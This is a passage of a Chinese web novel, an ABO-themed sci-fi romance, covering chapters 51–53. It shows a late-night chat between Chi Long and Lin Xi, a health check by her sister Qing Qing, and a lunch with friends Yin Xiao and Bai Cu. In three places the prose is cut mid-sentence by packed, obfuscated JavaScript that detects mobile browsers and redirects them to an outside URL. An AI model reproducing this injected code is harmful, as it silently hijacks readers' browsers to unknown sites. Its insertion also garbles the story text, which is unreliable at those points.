以至于,池泷对自己的身体,反而不甚了解。 对alpha的构造,也算不上太了解。 当然,这些都无伤大雅。 可以说,没有擎晴,就没有现在健康活泼、大方随意、活蹦乱跳的池泷! 所以,万一她通过自己,不小心发现林息的存在。 可咋办啊!! 一边是绝不能供出的秘密。 一边是不想欺骗的家人和性命攸关的存亡。 现在,住在夹板里的人,又多了一个。 被子蒙住头,池泷压抑着,鼻腔里发出细细的尖叫。 随即又“呼”地将被子掀开,疯了一样、披头散发地爬起来,抓过光脑,疯狂搜索。 “alpha腺体里会存在omega的信息素吗?” 答案五花八门。 “如何跟家人坦白自己不小心和同学睡了?” 收到了一片恭喜。 “自愿被家人打死,违反星法吗?” 光脑提示:珍爱生命,有事可拨打XXXXX。 主要是这两次的委托太奇怪,导致池泷忘记了体检的时间,而前几天自己和林息刚刚这样、那样。 她清楚,自己的信息素在林息那里,留存的时间就不算很短。 却不太确定,对方对自己的影响。 摸摸自己的牙齿,池泷焦虑到已经在想,不然抱着擎晴大腿哭喊:“看在睡过的人你也认识的份上,饶了我吧?” 会不会死得更体面一些。 对,擎晴比尹霄更早发现池泷对于林息的“迷恋”。 并称赞她:“审美独特,但品位非凡,许多优点,但‘很会做梦’居于首位、当之无愧。” 怎么办呢? 星网上找不到答案,池泷干脆拿着光脑蹲在床上,身体晃动,像一只玩具摇摇马。 手指在“尹霄”和“白簇”之间来回纠结。 突然,光脑传来通讯。 Linxx:“睡了吗?” 怕什么来什么,光脑在孔武有力的alpha手中,变得和游鱼一般,出溜一下就滑了出去。 吓得她张牙舞爪,慌张去接。 却忘了,就算接不住也没关系。 毕竟,这是在床上。 看着空落落的双手,池泷再一次感慨:自己果然不是个干亏心事的料。 捡起光脑,意外地,经过这一惊吓,她倒是感觉自己没那么焦躁了。 另一边,林息同样睡不着,下午的事,两种截然不同的心情仍旧在碰撞,他迫切地想倾诉什么,却不知道该说什么。 抱着试一试的心态,他给池泷发出信息。 “发送”的按钮摁下,才意识到自己竟然发了一句无意义的话,又开始后悔。 已经凌晨1:30,本来这样的时间发送信息,就显得无礼又无理。 万一池泷回复了,自己接下来又该怎么说呢? 突然,屏幕亮了一下,映得那双琥珀色的眼眸也亮了起来。 特意修改的备注发来通讯。 阿水:“没有,怎么了?你还好吗?” 嘴角忍不住勾起,林息盯着光脑,思考着如何回复。 他一手拿着光脑,另一只手在床上到处摸索。 终于摸到枕头,这才倚靠在床头,凉被从腿上滑落,也没有去管。 双手忙得很,字打了又删,怕是写那些稿件也没有这么斟字酌句过。 Linxx:“挺好的,你怎么还不睡?” 没营养的话题,在没动静的凌晨,看到“挺好的”这三个字时,却也能品出几分有趣。 想到这是林息第一次主动联系自己唠嗑,池泷笑眯眯地在床上盘腿坐下。 阿水:“你问我‘睡了吗’,又问我‘还不睡’?是想我睡着,还是不想我睡着?(鬼脸)” 池泷在光脑里的样子,和实际生活中的表现,不太一样。 琥珀色眼眸装满笑意,一时间,冰川融化,冬去春来,雪白芍药微微开。 Linxx:“贫嘴。” 文字的魅力就在于,只要实物不在眼前,几个字就能让人想入非非。 或许他此刻是娇嗔的?想象那个画面,池泷为自己的不要脸面红耳赤。 或许他此刻翻了个白眼?嗯……那白眼翻得也应该比其他人好看。 阿水:“行行好,不贫了,你可还得跟我聊天。非常时间不睡觉一定是有心事。(端酒、故事、请)” 这么晚喝酒是不是不太好? 林息皱眉,可想起以前自己在星网偷摸看评论时,这个动画也出现过,或许是一种流行? Linxx:“没什么,只是想起比赛,有些睡不着。虽然有信心不会拖后腿,但还是想跟你说声,我一定会努力的。” 这是干什么?大半夜不睡表忠心? 此刻池泷的嘴角都快咧得绕脑袋一圈了。 脑海里,一个迷你的小林息,琥珀色的眼睛占了半张脸,嘟嘟的腮帮子,握着小小的拳,大喊:“我一定会努力的!” 哎呦喂,池泷嘴里忍不住发出“啧啧啧”地声音。 Linxx:“大半夜还是不要喝酒。” 突然看到这句话,池泷愣了半晌。 然后,“哈哈哈哈哈哈……” 光脑被放在了一旁,池泷抱着肚子,在床上来回滚动着大笑。 而林息这边迟迟没有看到池泷的回复, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15264426|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 则感觉有些忐忑。 贝齿轻轻咬住下唇,一时间想不通自己的哪句话说得有问题。 是自己管得太宽了吗? 正在他试图补救时,对面再次传来了通讯。 阿水:“如果以后想找人聊天,就来找我,我随即奉陪。” 虽然不懂她为什么突然说这样的话,可这一瞬,林息呼吸停滞。 不顺畅的气体流通导致头部缺氧,进而让他的脸开始泛红。 “不过我正好也有事,关于AO之间,如果你不介意,我想请教一下”。 抹去眼角笑出的泪滴,池泷慢慢打出这句话。 刚才被林息可爱到了,她笑得不可自抑。 可随即,她忽然想到,为什么林息会看不懂这样的表情动画呢? 是活在新闻、星网、社交媒体上的人啊。 除非他很少会和人这样唠嗑说话。 这种动画的使用,没人教过或者传染过他。 忽然,池泷就失去了刚才的开心,想到在学校里,他似乎也总是独来独往。 有的人喜欢孤独,欣赏孤独,她一直觉得林息属于这一挂。 可八面玲珑的他,也会有社交的短板,这让池泷心里感觉像装进了一个毛栗子。 喜欢孤独,就不需要朋友倾诉吗? 他还会关心她“不要喝酒”哎。 于是,池泷再次坐起,拿起光脑,郑重地回复了他。 必须让你小子知道!我们是一个team! Linxx:“你说。” 好的,那作为交换真心、彼此依靠的队友,我可得咨询你一个问题了。 阿水:“omega的信息素会在alpha的腺体里存在多长时间啊?” 这下好,本就小脸泛红的人突然像一只被煮熟了的虾子,红得身体都蜷缩了起来。 小巧的脚趾羞涩地卷在一起,手心漫上一层薄汗。 不可置信地看了好几眼,他才扯起一旁的凉被盖在身上。 如果此时和古星一样有“流氓罪”,那池泷绝对得是无期徒刑。 春意浸染的芍药低下花蕊,狡猾的蜜蜂还是偷偷钻了进去。 Linxx:“不存在这种情况,omega的信息素不会在alpha体内存在太久,因为很快就会被alpha本身的信息素吞噬。” 不愧是林息!池泷隔空给他竖了一个大拇指。 此刻,池泷眼前,是一个戴着眼镜、一脸严肃地科普着三性知识的年轻教授。 学识渊博、语气清冷,有种让人信服的文化人气质。 阿水:“谢谢。” 半张脸已经埋在被子里的人,只漏出一双眼睛,偷偷等待着回复。 终于等到,他才垂下眸子,无奈说了句:“真是的……” 热热的脸颊在被子上轻轻摩擦,凉丝丝的触感让人错觉地感到温度降下了一些。 她果真和其他人不一样。 Linxx:“怎么突然问这个?” 得到答案的池泷心满意足地回复了回去,终于觉得安心了一些,她不用再纠结了。 大大方方地查吧!本A又活过来了! 阿水:“阿晴要帮我做例行检查,我不想暴露你的事。对了,我明天要回央星,你还有事要忙吗?要不我们一起?(期待搓手)” 阿晴? 有时候,事情就是这样巧合。 虽然特意备注、却是背着人偷偷起的昵称旁边,出现了一个形制一样的词汇。 被子再次拉开,琥珀色的眼眸深沉了下去。 是那个会被她称赞认真勇敢而扬起笑意的beta? 细长的手指敲着光脑的边缘,这两个字怎么看怎么……碍眼呢? 房间里早已关灯,黑暗却此刻才从四面八方向中间包来。 Linxx:“我和父亲一道。” 撇撇嘴,池泷有些失望。 Linxx:“睡了,晚安。” 阿水:“(晚安)” 平常的道别后,池泷才开始沉沉睡去。 第一次和人互道晚安,林息长久地盯着光脑,不知在想些什么。 终于,手指停下敲动,开始飞速拨弄。 几分钟后,他放下光脑,准备入睡。 只是躺下没几秒,又突然坐起,将池泷发来的表情动画都收集起来后,林息才再次躺下。 背后是他的光脑。 除此之外,另一只光脑的聊天记录中,也失去了“阿晴”这两个字。 56.第51章 “一切正常。” 身穿白大褂的beta翻阅着手中的电子报告,手指戳戳几处,红黄绿的折线图飘起来一大片。 穿好衣服,正背身慢悠悠从检查床上下来的alpha,乌黑亮丽的秀发在太阳底下被镶上了金光。 看见这一幕,冷茶色十二边形框架薄晶变色眼镜后,靛青色眼眸满意地眯起眼睛。 脚尖还未接触地面,修长的大腿悬在半空,另一条折叠呈线地撑在床上,双手悬空,这么高难度的动作,对beta来说,几乎是不可能完成的任务,对眼前的alpha来说嘛,倒是…… 这样想着,beta伸手推推脸上的眼镜说:“不过就是嘛……” 正在下床的alpha身形骤然顿住,身体以肉眼不可见的弧度,晃了晃。 不足一秒,又继续动作。 Beta的眼眸眯起,靛青色基本被掩盖,只剩了一条细细的缝。 “你的信息素数值有些改变,我想研究研究,抽管血吧。”声音如常,眼神风一样地飘过,beta盯着光脑上的报告,继续说道。 “什么变异?”柔软度令人惊叹的alpha收拾完毕,转过身,看着似乎已经好久不见的人,黝黑眼眸盛着明显的笑意,表现一如往常,“哪个数值?” 戴着蛞蝓装饰的赤丹指甲勾起海藻般的烟灰波浪长发,舌头在健康红润的唇上舔了舔,镜片闪光而过。 长发落在好似不带一丝瑕疵的小麦皮肤上,白大褂下,翠绿绸缎收腰长裙包裹着的地方,弧度都像流水般的饱满有力,纯黑高跟鞋上面的脚踝处,刺着一只即将翩翩起舞的绿带凤蝶。 “各类数值,比如,能反映alpha能力压制性的啦……”beta带着薄茧的手指杵在脸上,眼神朝上,思考着。 余光偶尔落在对面。 Alpha微笑倾听,一如她13岁那年。 “反映环境适应性的啦……” 继续微笑,alpha连连点头,似乎听进去了。 “反映性别融合性……” 响指声打断了医生的唠叨,alpha好奇问道:“变好还是变坏了?” 事不过三,我妹真好猜。 “不晓得咯,所以我才说研究一下嘛。” 示意医疗机器人过来,擎晴选定医疗器械时,针头的选项里,她犹豫了两秒,选择了“max”。 “小泷,最近还在做委托吗?”没管正龇牙咧嘴、被机器人抽血的池泷,擎晴继续低头翻阅报告。 “嗯啊,想攒钱给‘鲨星’换个推进器,然后做个日常保养。”胳膊被贴上纱布,池泷探头,想看看机器人手上的针管,却很快被它塞回了肚子里。 她有点纳闷:以往抽血有这么疼来着? “不是报名大赛了吗?怎么,最近理想又变了?”命令机器人去做血液解析,擎晴戴上消毒手套,拿起镊子和一个真空袋,向池泷走了过去。 乖乖配合着低下头,池泷声音被压扁了一些:“没有,只不过有点事必须要做。大赛好不容易凑够了人,终于报上名了。你有空来看我决赛呗,把擎叔也叫上,我给他买票。” “这么有信心?看来新队友很给力啊。”将头发装进袋子,擎晴封好口,顺手揉了揉池泷被拔掉头发的地方。 “嗯,”想了想,池泷还是没敢说出口“新队友”的身份,也不知道自己在心虚什么,“最近准备找时间让小队还有机甲都磨合一下。” 怕家里人担心,池泷从未没对擎晴说过乔城的事,就是亚硫城的委托,也是说和尹霄他们一起去亚硫城游玩,没赶上那场爆炸。 幸好擎晴也没细问。 “有什么事,都可以跟我说哦。”擎晴站在办公桌前,收拾着最新的样本和信息。 黄色皮肤能很好掩盖池泷眼下极淡、几乎看不出来的青色,对于擎晴来说,却十分显眼。 “请你务必珍惜我成名论文的唯一样本,”转过头,满脸假惺惺的笑意,靛青眼眸里全是警告,“不然你就死定了。” 阿姐,有没有可能,你的唯一样本和我是同一个人? 心情复杂,池泷点点头:“你放心,磨合都是点到为止。” 再次转过身收拾,擎晴的眼神掠过桌子上扎着红色蝴蝶结的透明小盒,里面装着一朵已经枯萎的花朵。 来自尹霄之前带回央星的一部分样本,小泷说,生前它曾是曼珠沙华般妖冶的红色。 轻啧一声,擎晴感慨:儿大不由娘啊。 “不过你什么时候换了眼镜?”等待大科学家小心精细地收拾物品期间,眼看没事的池泷靠在一边的墙上,准备闲磕一会儿牙。 “好看吗?”嗓音故意拿捏,激起池泷一身鸡皮疙瘩。 “怎么了,那个陶教授最近改喝茶了?”池泷忍不住说风凉话。 “啪”,一只电子笔朝她扔了过来。 池泷随手接住,随便看了看,走上前又将它给擎晴递了过去。 “还不许beta也有春天了?”接过笔,擎晴没好气地翻了个白眼。 这个陶教授,池泷对他唯一的了解,就是这人是一名alpha男性,虽然是比擎晴大好几届的、同校同专业的学长,却和她年龄相仿,更是擎晴大学期间的专业课教授,及擎晴正在实习的科研院内生物部门的领导。 年轻有为。这是擎晴对他的评价。 说这话的时候,她的样子,有种“遥遥见白云”的飘离感。 于是,求学时期,擎晴便经常会因为“陶教授最近买了红苹果”而将指甲涂上红色,又会因为“陶教授喜欢古星的教学方式”而开始用电子笔做笔记。 更难得的,这位青年才俊对擎晴也是颇为欣赏,不仅在擎晴毕业后,主动招揽她成为科研院的实习生,更是不久之前,特批给擎晴一间独立办公室,跟着他做实验项目。 这倒是顺便为擎晴帮池泷体检提供了更好的空间,比以前两人偷摸租医院的小检测间好了不要太多。 甚至配备了先进的检测仪器,上面大大的“TS”标志熠熠生辉。 这对本就想进入TS公司的擎晴来说,那真是“知遇之恩+投其所好”。 无利不起早。这是池泷对他的评价。 瞅瞅自己家这位,平心而论,褪去年少时的青涩,现今也是能摸上美人的边。 对于生物研究,也是颇有创新和心得,尽管实验方式奇奇怪怪。 而那位陶教授,因为不喜欢光脑的录音录像功能,为人又极其低调,连学校的公告上都没有任何照片,只是密密麻麻的荣誉列了一长串,以至于池泷到现在都没见过他长什么样! 长久以来,池泷一直很担心擎晴会为此“踏入爱情迷茫的漩涡。” 但好在时间久了,倒也没察觉什么不妥。 首先,这位陶教授的行为,好像就是一个十分惜才的教授。 其次,尽管擎晴很喜欢他,甚至还有几分崇拜,但—— 她还是将关于自己的记录单独储存在一只光脑里,此刻正往池泷送她的压缩包里扔。 用于检测的仪器设备、包括那个机器人,都是擎晴自己亲自去市场买的小牌货,拜托不同机械师改造的,也被她装进了那只压缩包。 更甚者,擎晴那本用了很多年、夹着各种纸条、破破烂烂的笔记本封皮上,一只油笔画的、稚嫩笔触、写着“生物顶尖”的王冠旁边,成熟的笔迹留下了大大的“取陶代之”,并用红笔画了个圈。 瞬间,池泷就放下了心。 成就才是一个人最好的装扮。 姐妹懂你。 所以池泷经常会拿这件事打趣擎晴,虽然擎晴对这位教授颇有好感,但她大喇喇的回复,倒是一点也看不出来恋爱脑的模样。 “哪敢呢?阿晴你知道的,我巴不得你的春天早日到来且开花结果,”眯起眼睛,池泷笑得像一只睡着的猫咪,“不然我真的要搭上自己,擎叔还不知道睡不睡得着。” 这个梗来自于擎叔,两人年龄相仿,在擎叔目睹擎晴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15294928|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对池泷长达十几年的“过度关注”后,在池泷成年的那天,擎叔英勇就义般地同池泷谈话。 “如果你和小晴真的互相喜欢,我也不会反对。” 那时擎叔脸上的表情,用池泷的话说,就像上演了一场古星的著名剧目——《雷雨》。 当池泷解释自己真的只喜欢omega,对擎晴只是爱戴和尊敬并重、敬畏和亲情并存时,擎叔又瞬间换上了遗憾的表情。 所以说,omega的心,海底的针。 后来池泷跟擎晴讲这事时,擎晴的反应更是出人意料。她拿起细长的电子笔架在两指之间,仿佛有无形的烟雾缭绕而起,镜片闪过晦暗的光锋:“做我们这一行,最忌讳的,就是爱上样本。” “……” 好的,姐。 科学家终于将各种器具收拾齐整,池泷直起身,刚准备说话。 没想到回过身的擎晴却皱起眉头,露出一副不可思议的表情:“你怎么还在这里?” “……”池泷指指光脑。 “……”擎晴拿起营养液晃了晃。 “……”池泷比了比两人的个头,她比擎晴可高了一个半头呢。 “……”擎晴翻了个白眼,真不明白池泷从小对于“吃饭”这件事的仪式感执念。 营养液,就是为了抹去不必要的进食时间并且保证营养均衡而研究的出来啊! 不一定非要坐在某处,等好长一段时间,吃那种一时半会还凉不了的固态物质。 于是,擎晴直接指了指门口,说了句“不送。” 看到池泷还想挽留,她直接端起做作的微笑,先看了眼桌面上闪着各种图像的仪器,然后朝池泷做了一个抹脖子的动作。 “再打扰我研究,就杀了你哦。” 读懂这一句,池泷马上立正,鞠了一个九十度的躬,头也不回地出门了。 直到实验室的门被关闭,擎晴才恢复正常表情。 虽然她也很想陪似乎许久不见的妹妹进行那种无意义的进食仪式,可池泷的数值和以往相比,发生了十分明显、不知良莠的变化。 加上池泷奇怪的反应和眼底的暗青,擎晴暗暗担心:万一那个omega怀疑小泷身体不好可怎么办? 所以她得抓紧研究。 要知道,这么多年,池泷第一次对别的omega表现出在意。 喝掉不知味道的营养液,擎晴拿出光脑,点开和尹霄的对话框,刚准备说什么,想了想,又关上了。 孩子大了,总得有点隐私。 她不想告诉自己新队友的情况,一定有她的道理。 再次坐下,擎晴准备将手头的工作做完,回家继续研究池泷。 这时,实验室的门被轻轻敲响。 “请进。” 得到准许,门把手转动,来人现出身形。 “小晴,还没走吗?”嗓音和煦,叫人听着只觉得心底的烦闷都少了几分。 看到这人,擎晴“突”地站起身,手在大褂上随便摸了两下,最终放进了口袋。 “教授,有什么事吗?” “没有,只不过下午院里没事,可以提前下班。看你还在这,以为你不知道,就过来看看。” 将实验室略略打量过,看到擎晴桌上的仪器,来人眼珠轻转。 “在忙项目的东西?” 擎晴点头。 “活不是一天能干完的,注意身体,别太累了,”说完,教授便向门外退去,“如果有任何需要,跟可以我说。” “任何”两字被加重了读音。 “谢谢教授。”擎晴朝来人点头致意。 “说了没人的时候不用叫我教授,”那人推了推脸上的金边眼镜,镜框上吊着的同色金属细链在肩膀上轻盈地划了划,“叫我学长或者老陶都可以嘛。” “哈哈哈。”闻言,擎晴只是笑笑,却没答应。 实验室的门再次关上,面无表情的擎晴终于得以安坐桌前,眼中只有对数据的认真。 57.第52章 离开科研院,池泷叫来一艘飞艇,去往小队的一贯聚集地——尹霄的别墅。 尽管林息将好友们的医疗过程和现今恢复状况都告诉过她,可离开亚硫城后,池泷还是想先看看好友们再去体检。 没想到收到尹霄的通讯,说今天陪白簇去二次复查,周末三次复查,如果没事,就代表白簇基本彻康复。 甚至他还说,给擎晴准备了礼物特产,已经放在科研院的门口,池泷可以直接去拿,顺带让池泷邀请她来吃饭。 当然,被擎晴以“科研很忙”为由拒绝聚餐倒也不是一两次了,这点池泷想得很开。 路上,池泷提前跟尹霄通讯。 帮她留饭,尤其是要多加一条鸡腿,以弥补“缺乏家人陪伴”的心灵。 到达目的地,池泷打开门,白簇的左臂已经被套上碳纤维的外骨骼以辅助她行动,此刻她正用这条手臂在沙发旁边偷偷摸索着什么。 从右侧面看,坐姿倒端正得很。 而尹霄,已经活蹦乱跳,站在厨房中,指挥着家政机器人干这干那。 “胡椒不要放太多,池姐吃不了太辣的。、” “左边那个地方有些烤焦了,哎呀!你真的是‘智能’机器人吗?” 就像一个“外行指挥内行”的老板。 看到池泷出现,金红色眼眸里闪过一丝挫败,随即将左手收回,安分地放在身前。 “我说,筋肉自我修复是什么很好做的手术吗?”走过去将沙发旁边的哑铃拿走,池泷看向那个已然移开目光、撅起嘴假装口哨的人,想起她不久前的凄惨模样,一时间不忍苛责。 “忍忍,这个周末去复查,没有问题的话,就可以拆掉辅助骨骼了,”终究只是在白簇头上轻拍两下以示警告,池泷坐到她对面,“这周日报名截止,半个月后就是海选,你不能带伤上阵。” 白簇的胳膊,尤其是靠近肩膀的地方,皮肤仍旧泛着崭新的粉嫩,对比着她本来的皮肤,反而显得本肤没有那么白皙了。 “中间我们还得磨合,”一时间,池泷对于好友的心疼到达了顶峰,这样金刚不坏的人,不知道遭受了怎样的创伤,才会留下那样可怖的伤口,“你不能留下任何后遗症。” 这下,金红眼眸终于回到了池泷身上。 “我很强。”酷姐皱眉强调。没扎起的赤红发丝,东一撮西一撮地撅着,和它叛逆的主人十分相像。 “我知道。”黑眸是不容置喙的拒绝,“但你不能再受伤了,老白。尹霄也是。” “我只听秦医生的。”队长一锤定音。 肩膀落下,连翘起的发丝都有些蔫了回去,白簇像一只被麻绳拴起来的大猫,不高兴。 “没错,就听秦医生的,”端着餐食的尹霄走过来帮腔,“我一步没离开,守着你这么多天,可不想最后还恢复不好。” 将盘子放在桌上,池泷看了看,鸡腿十分诱人,没有被烤焦的痕迹,只是左边的颜色略微深了一点点。 “不过池姐你不知道,会长给我们找的那个医院,我的天哪,”紧接着捂住嘴巴,尹霄在池泷旁边压低声音说道,“完全不输阿簇姑姑的医院,还更先进呢!” 看着尹霄这副做贼的样子,池泷失笑出声,明明林息不在这里啊。 “唯一奇怪的点就是,在很偏僻的地方,门头也不怎么起眼,不知道的还以为就是个社区小诊所,”摸摸下巴,尹霄回忆着自己的所见所闻,“病人也不是很多,就是些普通居民。我偷偷从特疗区出来,跟好多人打听,结果他们连特疗区是什么都不知道,直说这就是个普通小诊所。” “大隐隐于市。”估计这里面牵扯到林息的某些秘密,池泷回复。 “嗯,后续它还能把我和阿簇转到秦医生院里,连病历都伪造好了。秦医生好像和他们还熟络一些,但也什么都不肯说。”尹霄摇摇头,感慨林家的神秘莫测。 白簇的姑姑看到做完手术的伤口后,竟然一点也不紧张,反而说道:“他们做的,不会有问题。” 到底是谁呢? “讳莫如深。”筷子敲敲餐盘,池泷提醒。 “嗯,我不打听,谁原生家庭还没有个秘密了。”意有所指地瞥了一眼不高兴的大猫,大猫没听、大猫只是一个劲儿地不高兴。 “不过正好,池姐,”尹霄笑意盈盈,双手托腮,“阿簇复查的医院附近,刚好有家心理咨询中心,”手指在脸上轻轻敲着,“阿簇受了那么大的伤,我也做了手术,这次的事情搞得我这两天总做噩梦,怀疑是因为受到了不小的惊吓,想去看看。” 闻言,池泷停下吃饭,正色神情,仔细观察着好友。 虽然面上看不出来尹霄有什么“不适之处”,但可能越深的不安全感,表现得越是风轻云淡。 “是得去看看。”池泷点头,深以为然。 “你陪我一起呗。”肩膀被搭上了一只手,饭盘里的鸡腿突然不香了。 “阿簇要复查,没空。但她复查时间长,这段时间,咱俩一起去,不然我自己一个人还有点害怕。”抿抿嘴,尹霄低下脑袋,终于有点没底气的样子了。 如果池泷没见过尹霄作为尹家家主的模样,她真的会信。 抬眼看向对面,不高兴的大猫终于回神,虽然面无表情,眼神也仍旧盯着原处,可竖起的耳朵过于明显了。 且不说自打受伤后,尹霄就一直陪着白簇,现在突然舍得和她分开一会儿。 就老白这样,真是骗不了一点人。池泷想。 明明打架的时候,也挺奸诈的。 “嗯……”拿起鸡腿咬了一口,没尝出什么,但池泷仍旧瞪大眼睛,一脸惊喜,仿佛这个鸡腿味道好得很,“不过我最近正好有些事情要去问下秦医生,这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15308478|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,改天我们三个一起去,都看看。” 这基本就是婉拒了。 “改天”? 不是这个周末,估计也不是即将开始的半个月磨合期,更不能是即将开始的大赛海选。 “改天是哪天?”天蓝眼睛看向池泷,似乎没听懂她的意思,这是池泷第一次没在尹霄脸上看到笑容。 他在很认真地询问这件事。 “……”一时间,池泷不知道该编造什么话,去敷衍这双天蓝眼眸。 她想到了阿瑞亚三人,想到了洛溪和吴天语,然后是乔城。 谎言没有带来一个好结局。 “我不知道,”将鸡腿放回盘子,池泷看着曾经很诱人的鸡腿,她只是机械地咀嚼,嘴里的鸡肉突然变得很柴,咬不动、咽不下,“只不过不是现在。” 她深深吸气,又缓缓吐出,卡在嗓子眼里的鸡肉终于掉到胃里。 “我有好多事要和你们说,说完之后,就找时间去,”不信邪地拿起鸡腿又咬了一口,池泷这次终于尝到一点被蜂蜜包裹的肉香,她微笑着望回去,“你们愿意陪着也行。” “我就知道我没法骗你,”沮丧地噘嘴,尹霄靠在沙发上,一瞬间变得像一团被加多水的橡皮泥,“我还怕说多了你万一多想怎么办,会不会给你造成暗示……之类的。” “我俩当时就该陪你一起……” 越说声音越小,嘴巴也越撅越高,眼眸蒙上一层阴霾,晴转多云。 而一直佯装自然的白簇此刻也坐正身体,抱着双手,连连点头。 亲眼看到白簇能双手环胸的模样,池泷只觉得更高兴了一点。 她还在为连累了好友们而心疼,更自觉没有陪伴康复和立马探望、反而让他们操心特产而愧疚。 这边,好友们已经在为自己的心理问题开始“曲线救国”,甚至也愧疚没有陪伴了。 “不愧是我们尹指导的杰作,真香。”摇摇手里的鸡腿,佐味香料的清新气息掩盖了油腻,让多汁柔软的口感、香甜可口的味道终于铺满了池泷的味蕾,“每次回来,能吃到这么好吃的鸡腿,一个月做十个这种委托都行啊!” “没错。”白簇再次点头,右手比了个大拇指,表情严肃认真,表示赞同。 虽然这个鸡腿,理论上说,尹霄只有理论。 “呸呸呸,你俩盼点好的吧!”终于,沮丧的模样被收了回去,尹霄没好气地翻了个白眼,“下次我也做给会长尝尝。” 听见这话,池泷忍不住打开光脑看了一眼,自己和linxx的通讯还停留在今天上午。 最后一条仍旧是:“今天中午会在尹霄的别墅小聚,也是小队的秘密基地,如果你有空闲,不妨赏光来吃个午饭?(期待地搓搓手)” 将最后一口鸡腿吞下,池泷还是将别墅的地址发了过去,然后才将光脑放在了一边。 58.第53章 “其他人都管老白的姑姑叫白心,为什么你们都说她姓秦?” 想起那天尹霄的回答,来陪诊的池泷对这位素未谋面的好友姑姑已经充满敬意。 “哦,这个啊,”捻起一块莲花造型的酥皮点心,尹宵咬了一口,露出其中细糯的红豆馅料,“跟家里闹翻了呗。” 那天饭饱之后,三人各干各的。 白簇神游天外,估计在想什么杀招,尹宵正在光脑上不知道翻看着什么,至于池泷,她正在脑中制定着小队的磨合计划,顺带一次,好吧,好几次看看林息是否回复。 三人相处三年,对各自的原生家庭多少有所了解,尤其是尹白两家当年的事,闹大的范围之广,让池泷这样的人都有所耳闻。 但细节处,池泷不曾问过,毕竟这件事还算敏感。 虽然说的是与白家有关的话题,可白簇瞅着仍是毫无在乎,眼睛盯着自己的右手不断变换造型,沉浸在思考中难以自拔。 “所有人都知道,阿簇一出生身体便不太好嘛,她那个alpha父亲虽然不是个好玩意儿,但omega母亲却完全相反,温柔可亲,出身何家,也是贵族,只是不通文字。” 然而说起这个,尹宵还是向池泷靠近了些,声音也逐渐放低。 “何家最出名的地方,就是夫妻之中,但凡有一方来自何家,生出‘优异alpah’的几率就会大大增加。为此,当年早已私生子一大堆的白家家主,硬是逼婚强娶了阿簇的母亲。” 池泷点点头,叹了口气,这点她以前听其他同学八卦过。 当时那些人对这件事的评论大都出于幸灾乐祸:“基因再好又怎么样,还不是个残废,不然就是疯子。” “不过老白出生羸弱,那她的omega母亲也会因此不好过吧。” “嗯。”一直神游天外的酷姐突然接茬,她抓抓头发,眸中闪过一丝暴力,又被好好地压制了下去,“打。” 最后这个字,让池泷心底也窜起来一股火。 “所以说她的alpha父亲就是个混蛋,这也是为什么当时我们家受何姨嘱托,一定要把阿簇要来的原因。”尹霄赶忙接上话茬,如果不是池姐,阿簇其实很少愿意别人提起她的omega母亲。 瞧见池泷好奇的眼神,尹霄继续说:“阿簇的omega母亲和我的omega爸爸从小交好,两人在音乐方面的有许多的共同话题,何姨会许多乐器,不识字,但看乐谱却无师自通。” 想起爸爸提到好友时脸上幸福的表情,尹霄也忍不住勾起嘴角:“只是没想到....” “姑姑、母亲,恋人。”重要的信息,往往只需要朴素的表达,就能让池泷大跌眼镜。 “嗯,这段婚姻实际上也是‘棒打鸳鸯’。秦医生只是老白家家主的私生子,在家中不能作为‘繁殖优选’。不过虽然她是beta,也不妨碍她极为优秀,不依靠家庭一步步走到现在。” 长叹一口气,尹霄托腮感慨:“但这件事只能算导火索的开端,那时何姨不愿意连累家庭必须出嫁,秦医生也理解。” “而且那时,秦医生姓秦,随她beta父亲的姓。” 这倒和自己原本料想的不一样,池泷挑了挑眉,她一开始觉得秦医生应该姓“白”才对。 “我,”白簇抬眼,表情无波无澜,但复杂的眼神出卖了真实的心情,“白扬,杀。” “是何姨拜托秦医生,才将阿簇留下来的。”走到白簇身边,尹霄挽上她那只没有受伤的胳膊,“不知道用了什么方法,总之——就是一命换一命。” “甚至从此之后,阿簇也渐渐发育得异常强壮。只不过留下了许多后遗症,比如,语言系统发育迟缓。” 应该永远张狂的好友,此刻却把脑袋撇到了另外一边,避开了池泷的注目。 “本来都是可以控制的,但白家看到阿簇身上的潜力,竟然禁止秦医生插手。”说到这,尹霄的脸上也充满了厌恶,话也没说下去,他相信池泷能够理解,“因为……” 因为想看看,那个传言下诞生的alpha有多优异。 应该是极其优异,甚至引起了王室的侧目,他们才允许孩子这样“疯”下去,才会不在乎她除了武力外、任何其他方面的发育。 “这就导致阿簇病情不断反复,暴躁的症状不断加深,加上长时间的封闭隔离,语言和社会性退化。终于6岁那年,白家没管控好阿簇,伤了人。” 